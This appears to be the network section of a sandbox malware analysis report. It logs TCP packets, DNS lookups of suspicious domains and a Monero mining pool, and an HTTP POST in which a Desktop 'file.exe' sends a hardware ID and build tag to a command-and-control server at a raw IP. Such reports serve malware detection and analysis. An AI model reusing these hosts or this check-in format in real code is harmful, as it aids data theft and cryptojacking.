Nov 30, 2024 22:53:52.222723007 CET	49777	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.222737074 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.233416080 CET	443	49772	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.233481884 CET	443	49772	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.233566046 CET	49772	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.233779907 CET	49772	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.233798027 CET	443	49772	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.233809948 CET	49772	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.233814955 CET	443	49772	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.236550093 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.236598015 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.236689091 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.236845970 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.236856937 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.311074018 CET	443	49774	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.311178923 CET	443	49774	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.311256886 CET	49774	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.311661005 CET	49774	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.311674118 CET	443	49774	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.311686993 CET	49774	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.311691999 CET	443	49774	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.315804005 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.315846920 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:52.315959930 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.316247940 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:52.316262007 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:53.875725985 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:53.876476049 CET	49776	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:53.876507998 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:53.877026081 CET	49776	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:53.877032042 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:53.881880999 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:53.882189989 CET	49775	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:53.882220984 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:53.882481098 CET	49775	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:53.882487059 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.004424095 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.005124092 CET	49777	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.005166054 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.005655050 CET	49777	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.005666971 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.033628941 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.034353018 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.034373045 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.034961939 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.034966946 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.101942062 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.102729082 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.102756023 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.103230953 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.103236914 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.309189081 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.309262037 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.309329033 CET	49776	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.309623003 CET	49776	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.309642076 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.309662104 CET	49776	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.309668064 CET	443	49776	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.313415051 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.313467026 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.313582897 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.313798904 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.313812017 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.325745106 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.325814009 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.325951099 CET	49775	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.326131105 CET	49775	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.326152086 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.326163054 CET	49775	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.326168060 CET	443	49775	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.329355001 CET	49781	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.329401970 CET	443	49781	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.329488039 CET	49781	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.329639912 CET	49781	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.329653025 CET	443	49781	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.448096991 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.448170900 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.448338985 CET	49777	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.448677063 CET	49777	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.448704958 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.448724031 CET	49777	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.448729992 CET	443	49777	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.452652931 CET	49782	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.452697039 CET	443	49782	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.452820063 CET	49782	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.453035116 CET	49782	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.453047991 CET	443	49782	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.477860928 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.477930069 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.477991104 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.478255033 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.478279114 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.478293896 CET	49778	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.478300095 CET	443	49778	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.481977940 CET	49783	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.482017994 CET	443	49783	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.482131004 CET	49783	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.482321978 CET	49783	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.482336998 CET	443	49783	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.546094894 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.546176910 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.546396971 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.546636105 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.546658993 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.546674013 CET	49779	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.546679974 CET	443	49779	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.550731897 CET	49784	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.550795078 CET	443	49784	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:54.550905943 CET	49784	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.551142931 CET	49784	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:54.551156998 CET	443	49784	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.093224049 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.094230890 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.094264984 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.094789982 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.094795942 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.109266043 CET	443	49781	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.109777927 CET	49781	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.109802961 CET	443	49781	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.110173941 CET	49781	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.110187054 CET	443	49781	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.190534115 CET	443	49782	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.191589117 CET	49782	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.191621065 CET	443	49782	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.191960096 CET	49782	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.191965103 CET	443	49782	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.197549105 CET	443	49783	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.198066950 CET	49783	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.198088884 CET	443	49783	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.198455095 CET	49783	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.198461056 CET	443	49783	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.269824982 CET	443	49784	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.270534039 CET	49784	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.270595074 CET	443	49784	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.271025896 CET	49784	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.271039009 CET	443	49784	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.537930965 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.537996054 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.538158894 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.538213015 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.538233995 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.538255930 CET	49780	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.538260937 CET	443	49780	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.541034937 CET	49785	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.541073084 CET	443	49785	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.541146040 CET	49785	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.541289091 CET	49785	443	192.168.2.9	13.107.246.63
Nov 30, 2024 22:53:56.541294098 CET	443	49785	13.107.246.63	192.168.2.9
Nov 30, 2024 22:53:56.553674936 CET	443	49781	13.107.246.63	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2024 22:52:36.075901031 CET	192.168.2.9	1.1.1.1	0x7f26	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:52:36.076025963 CET	192.168.2.9	1.1.1.1	0xa912	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 22:52:43.014847040 CET	192.168.2.9	1.1.1.1	0x9565	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:52:43.015070915 CET	192.168.2.9	1.1.1.1	0xf66c	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 30, 2024 22:54:31.535000086 CET	192.168.2.9	1.1.1.1	0xa924	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:31.535264015 CET	192.168.2.9	1.1.1.1	0xc0ba	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 30, 2024 22:54:36.884874105 CET	192.168.2.9	1.1.1.1	0x4c0	Standard query (0)	home.twentykx20sb.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:36.884941101 CET	192.168.2.9	1.1.1.1	0xf5e3	Standard query (0)	home.twentykx20sb.top	28	IN (0x0001)	false
Nov 30, 2024 22:54:40.549851894 CET	192.168.2.9	1.1.1.1	0xee4e	Standard query (0)	home.twentykx20sb.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:40.549937010 CET	192.168.2.9	1.1.1.1	0xe0cb	Standard query (0)	home.twentykx20sb.top	28	IN (0x0001)	false
Nov 30, 2024 22:54:44.159822941 CET	192.168.2.9	1.1.1.1	0x34cd	Standard query (0)	tmpfiles.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:06.289988995 CET	192.168.2.9	1.1.1.1	0x90d4	Standard query (0)	twentykx20sb.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:06.289988995 CET	192.168.2.9	1.1.1.1	0x6f94	Standard query (0)	twentykx20sb.top	28	IN (0x0001)	false
Nov 30, 2024 22:55:09.313342094 CET	192.168.2.9	1.1.1.1	0x9d7	Standard query (0)	twentykx20sb.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:09.313515902 CET	192.168.2.9	1.1.1.1	0x7220	Standard query (0)	twentykx20sb.top	28	IN (0x0001)	false
Nov 30, 2024 22:55:13.951710939 CET	192.168.2.9	1.1.1.1	0x1c58	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:13.951986074 CET	192.168.2.9	1.1.1.1	0x3d38	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 22:55:16.691642046 CET	192.168.2.9	1.1.1.1	0xe13	Standard query (0)	filelu.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:18.924037933 CET	192.168.2.9	1.1.1.1	0xf404	Standard query (0)	3333.filelu.cloud	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:33.745687008 CET	192.168.2.9	1.1.1.1	0xa474	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:33.745805979 CET	192.168.2.9	1.1.1.1	0xbeda	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 22:55:36.335266113 CET	192.168.2.9	1.1.1.1	0xf90d	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:36.335454941 CET	192.168.2.9	1.1.1.1	0xd119	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 30, 2024 22:55:47.772445917 CET	192.168.2.9	1.1.1.1	0x8d61	Standard query (0)	3333.filelu.cloud	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:12.339145899 CET	192.168.2.9	1.1.1.1	0x42dc	Standard query (0)	3333.filelu.cloud	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.248718977 CET	192.168.2.9	1.1.1.1	0x6c82	Standard query (0)	3333.filelu.cloud	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.282526016 CET	192.168.2.9	1.1.1.1	0x2b7a	Standard query (0)	xmr-eu2.nanopool.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:44.377680063 CET	192.168.2.9	1.1.1.1	0xf063	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:44.377881050 CET	192.168.2.9	1.1.1.1	0xc2cd	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 30, 2024 22:52:36.214899063 CET	1.1.1.1	192.168.2.9	0x7f26	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:52:36.215073109 CET	1.1.1.1	192.168.2.9	0xa912	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 30, 2024 22:52:42.546226025 CET	1.1.1.1	192.168.2.9	0xe783	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:52:42.546226025 CET	1.1.1.1	192.168.2.9	0xe783	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:52:43.152456045 CET	1.1.1.1	192.168.2.9	0x9565	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:52:43.152456045 CET	1.1.1.1	192.168.2.9	0x9565	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:52:43.153340101 CET	1.1.1.1	192.168.2.9	0xf66c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:52:56.788876057 CET	1.1.1.1	192.168.2.9	0xd03c	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:52:56.788876057 CET	1.1.1.1	192.168.2.9	0xd03c	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:31.674777031 CET	1.1.1.1	192.168.2.9	0xa924	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:31.674777031 CET	1.1.1.1	192.168.2.9	0xa924	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:37.183880091 CET	1.1.1.1	192.168.2.9	0x4c0	No error (0)	home.twentykx20sb.top		34.17.28.197	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:40.687405109 CET	1.1.1.1	192.168.2.9	0xee4e	No error (0)	home.twentykx20sb.top		34.17.28.197	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:44.387402058 CET	1.1.1.1	192.168.2.9	0x34cd	No error (0)	tmpfiles.org		104.21.21.16	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:54:44.387402058 CET	1.1.1.1	192.168.2.9	0x34cd	No error (0)	tmpfiles.org		172.67.195.247	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:06.592905998 CET	1.1.1.1	192.168.2.9	0x90d4	No error (0)	twentykx20sb.top		34.17.28.197	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:09.455807924 CET	1.1.1.1	192.168.2.9	0x9d7	No error (0)	twentykx20sb.top		34.17.28.197	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:14.088917971 CET	1.1.1.1	192.168.2.9	0x1c58	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:14.089602947 CET	1.1.1.1	192.168.2.9	0x3d38	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 30, 2024 22:55:17.014163971 CET	1.1.1.1	192.168.2.9	0xe13	No error (0)	filelu.com		104.26.12.42	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:17.014163971 CET	1.1.1.1	192.168.2.9	0xe13	No error (0)	filelu.com		172.67.68.204	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:17.014163971 CET	1.1.1.1	192.168.2.9	0xe13	No error (0)	filelu.com		104.26.13.42	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:19.238473892 CET	1.1.1.1	192.168.2.9	0xf404	No error (0)	3333.filelu.cloud		164.132.168.81	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:33.884952068 CET	1.1.1.1	192.168.2.9	0xa474	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:33.884964943 CET	1.1.1.1	192.168.2.9	0xbeda	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 30, 2024 22:55:36.474689960 CET	1.1.1.1	192.168.2.9	0xf90d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.474689960 CET	1.1.1.1	192.168.2.9	0xf90d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.474689960 CET	1.1.1.1	192.168.2.9	0xf90d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.474689960 CET	1.1.1.1	192.168.2.9	0xf90d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:36.675224066 CET	1.1.1.1	192.168.2.9	0x668	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.786031961 CET	1.1.1.1	192.168.2.9	0x6c5a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.786031961 CET	1.1.1.1	192.168.2.9	0x6c5a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.786031961 CET	1.1.1.1	192.168.2.9	0x6c5a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:55:36.902576923 CET	1.1.1.1	192.168.2.9	0xd119	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:36.902576923 CET	1.1.1.1	192.168.2.9	0xd119	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:55:47.910605907 CET	1.1.1.1	192.168.2.9	0x8d61	No error (0)	3333.filelu.cloud		164.132.168.81	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:12.480422974 CET	1.1.1.1	192.168.2.9	0x42dc	No error (0)	3333.filelu.cloud		164.132.168.81	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.388457060 CET	1.1.1.1	192.168.2.9	0x6c82	No error (0)	3333.filelu.cloud		164.132.168.81	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		51.68.137.186	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		51.15.61.114	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		51.195.43.17	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		51.210.150.92	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		51.195.138.197	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		51.15.89.13	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:31.422185898 CET	1.1.1.1	192.168.2.9	0x2b7a	No error (0)	xmr-eu2.nanopool.org		163.172.171.111	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:33.298857927 CET	1.1.1.1	192.168.2.9	0x54e3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:56:33.298857927 CET	1.1.1.1	192.168.2.9	0x54e3	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:56:33.298857927 CET	1.1.1.1	192.168.2.9	0x54e3	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 30, 2024 22:56:33.300235987 CET	1.1.1.1	192.168.2.9	0x218d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:56:44.516691923 CET	1.1.1.1	192.168.2.9	0xc2cd	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 22:56:44.619647026 CET	1.1.1.1	192.168.2.9	0xf063	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49705	185.215.113.206	80	764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:52:26.496695995 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 22:52:27.934715986 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:52:27.938090086 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 2d 2d 0d 0a Data Ascii: ------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="build"drum------IDAKJKEHDBGHIDHIEHDB--
